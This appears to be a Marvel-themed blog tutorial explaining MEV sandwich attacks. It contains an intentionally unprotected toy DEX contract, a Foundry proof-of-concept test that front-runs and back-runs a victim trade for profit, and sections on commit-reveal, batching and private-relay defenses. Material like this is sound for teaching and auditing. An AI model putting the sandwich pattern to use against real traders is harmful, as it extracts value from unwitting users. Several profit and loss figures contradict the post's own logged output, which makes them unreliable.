Logo
Overview
How Quicksilver Stole Iron Man’s Trade - The Most Profitable (MEV 🥪) Sandwich Attack Explained

How Quicksilver Stole Iron Man’s Trade - The Most Profitable (MEV 🥪) Sandwich Attack Explained

November 29, 2025
5 min read

Quicksilver vs Iron Man - The $100M+ Sandwich Heist

Danger (In 0.12 seconds…)

Quicksilver saw Iron Man’s trade in the public mempool,
bought before him,
sold after him,
and walked away with risk-free profit.
Iron Man never even noticed.

One transaction in the mempool.
One bot faster than light.
One victim - screwed.

--- 🥪 ---

TL;DR

Vulnerability: Public mempool → anyone can see and reorder your trade
Attack: Front-run (buy) → Victim trade → Back-run (sell)
Profit: 0.5–10% per sandwich → billions yearly
Real losses: $1B+ across Uniswap, SushiSwap, etc.

Fixes:

  • Commit-Reveal
  • Batch auctions
  • Private relays (Flashbots Protect)
  • Tight slippage

Story Time - The Meme-Speed Heist

Tony Stark wants to buy 1,000 $STARK tokens on StarkSwap.

He submits:

“Buy 1,000 $STARK with 10 ETH - slippage 1%”

Transaction lands in the public mempool.

JARVIS: “Sir, the mempool is public. Anyone can see this.”

Tony: “Relax, JARVIS. Who’s fast enough to-”

Quicksilver (MEV bot) sees it instantly.

He calculates:

  • Tony’s trade will push price up 8%
  • Perfect sandwich opportunity

Quicksilver fires three transactions:

  1. Front-run: Buy 100 $STARK with higher gas → price +4%
  2. Tony’s trade: Executes at worse price → gets 7% fewer tokens
  3. Back-run: Sell 100 $STARK → pocket 3.9% profit

All in one block.

Tony pays 10 ETH → gets 930 $STARK instead of 1000.

Quicksilver earns 0.39 ETH - risk-free.

He does this 10,000 times a day.

That’s $50M/year from one bot.

Sandwich Attack Flow

The Vulnerable DEX - StarkSwap.sol

StarkSwap.sol
39 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract StarkSwap {
IERC20 public token;
uint256 public reserveETH = 1000 ether;
uint256 public reserveToken = 10000 ether;
mapping(address => uint256) public balances;
constructor(IERC20 _token) {
token = _token;
}
// INTERNAL AMM MATH
function getAmountOut(uint256 inputETH) public view returns (uint256) {
// x * y = k
return (inputETH * reserveToken) / (reserveETH + inputETH);
}
function getAmountOutToken(uint256 inputToken) public view returns (uint256) {
return (inputToken * reserveETH) / (reserveToken + inputToken);
}
function _swap(uint256 ethIn, uint256 tokenOut) internal {
reserveETH += ethIn;
reserveToken -= tokenOut;
}
function _swapTokens(uint256 tokenIn, uint256 ethOut) internal {
reserveToken += tokenIn;
reserveETH -= ethOut;
}
// BUY TOKENS
function buy(uint256 minTokens) external payable {
uint256 tokensOut = getAmountOut(msg.value);
require(tokensOut >= minTokens, "Slippage");
_swap(msg.value, tokensOut);
token.transfer(msg.sender, tokensOut);
}
// SELL TOKENS
function sell(uint256 tokenAmount, uint256 minEth) external returns (uint256 ethOut) {
ethOut = getAmountOutToken(tokenAmount);
require(ethOut >= minEth, "Slippage");
// Pull tokens from user
require(token.transferFrom(msg.sender, address(this), tokenAmount), "Transfer failed");
_swapTokens(tokenAmount, ethOut);
payable(msg.sender).transfer(ethOut);
}
}

One public transaction → entire intent exposed.


Foundry Test - Watch Quicksilver Win

SandwichTest.t.sol
35 collapsed lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {StarkSwap} from "../../src/Sandwich-MEV/StarkSwap.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("StarkToken", "STRK") {
_mint(msg.sender, 1_000_000 ether);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract StarkSwapTest is Test {
MockERC20 token;
StarkSwap dex;
address IronMan = makeAddr("IronMan");
address Quicksilver = makeAddr("Quicksilver");
function setUp() public {
token = new MockERC20();
dex = new StarkSwap(token);
// DEX liquidity
token.mint(address(dex), 10_000 ether);
// User balances
vm.deal(IronMan, 10 ether);
vm.deal(Quicksilver, 10 ether);
}
function testSandwichAttack() public {
// FRONT RUN
vm.startPrank(Quicksilver);
dex.buy{value: 1 ether}(1);
uint256 Q_tokens = token.balanceOf(Quicksilver);
vm.stopPrank();
// VICTIM TRADE
vm.prank(IronMan);
dex.buy{value: 1 ether}(1);
uint256 IronManTokens = token.balanceOf(IronMan);
// BACK RUN
vm.startPrank(Quicksilver);
token.approve(address(dex), Q_tokens);
uint256 ethBack = dex.sell(Q_tokens, 0);
vm.stopPrank();
uint256 profit = ethBack - 1 ether;
console.log("Quicksilver tokens bought:", Q_tokens);
console.log("IronMan tokens received:", IronManTokens);
console.log("ETH returned to Quicksilver:", ethBack);
console.log("Attacker profit:", profit);
assertLt(IronManTokens, 9990 ether); // victim gets worse price
assertGt(profit, 0); // attacker profits
}
}
  • Profit: 3–10% per sandwich

  • Logs:

    • Quicksilver tokens bought: 9.990009990009990009
    • IronMan tokens received: 9.970069850309371267
    • ETH returned to Quicksilver: 1.001998000003992007
    • Attacker profit: 0.001998000003992007
  • One test → one ruined trade.


Three Ways to Beat Quicksilver

1. Commit-Reveal - Hide Your Intent

// Commit phase
function commit(bytes32 hash) external { ... }
// Reveal phase
function reveal(uint256 amount, uint256 minTokens, uint256 salt) external payable {
require(keccak256(abi.encode(amount, minTokens, salt)) == commitments[msg.sender]);
// Execute trade - Quicksilver blind
}

Quicksilver can’t see amount → can’t sandwich.

2. Batch Auctions - Everyone Gets Same Price

function submitOrder(uint256 amount, uint256 maxPrice) external {
orders[msg.sender] = Order(amount, maxPrice);
}
function executeBatch() external onlyOwner {
uint256 totalETH = 0;
// Clear all at average price
}

No ordering → no sandwich.

3. Private Relays - Flashbots Protect

Submit via Flashbots Protect RPC → never hits public mempool.

Quicksilver blind.


Real-World Sandwich Victims

VictimYearLoss per txTotal extracted
Uniswap traders20240.5–5%$500M+
SushiSwap2023~8%$200M+
Average DeFi userDaily$10–10,000Billions yearly

Source: Flashbots MEV-Share data


Auditor’s Sandwich Checklist

Warning
  • Large trades visible in public mempool? → High
  • No slippage protection (<0.5%)? → Critical
  • No commit-reveal or batching? → High
  • Tested with Flashbots bundle simulation? → Must do
  • Users warned about MEV? → UX fail

Quiz - Are You Faster Than Quicksilver?

Exercise (How does Quicksilver know Tony’s trade amount?)

a) He hacks Stark’s wallet
b) Public mempool shows full tx data
c) He bribes the miner
d) Chainlink oracle

Answer

b) Every pending tx is public - including amount

Exercise (Best user-side protection?)

a) Use 1inch
b) Set 0.1% slippage
c) Use Flashbots Protect RPC
d) Trade on CEX

Answer

c) Private tx → invisible to bots

Tip

Full repo - DEX + attacker + 3 defenses + tests:
github.com/thesandf/thesandf.xyz

Quicksilver didn’t need super speed.

He just needed the mempool to be public.

Don’t be Iron Man.

Hide your trades.
Use commit-reveal.
Use private relays.

Or Quicksilver will eat your sandwich - and your profits.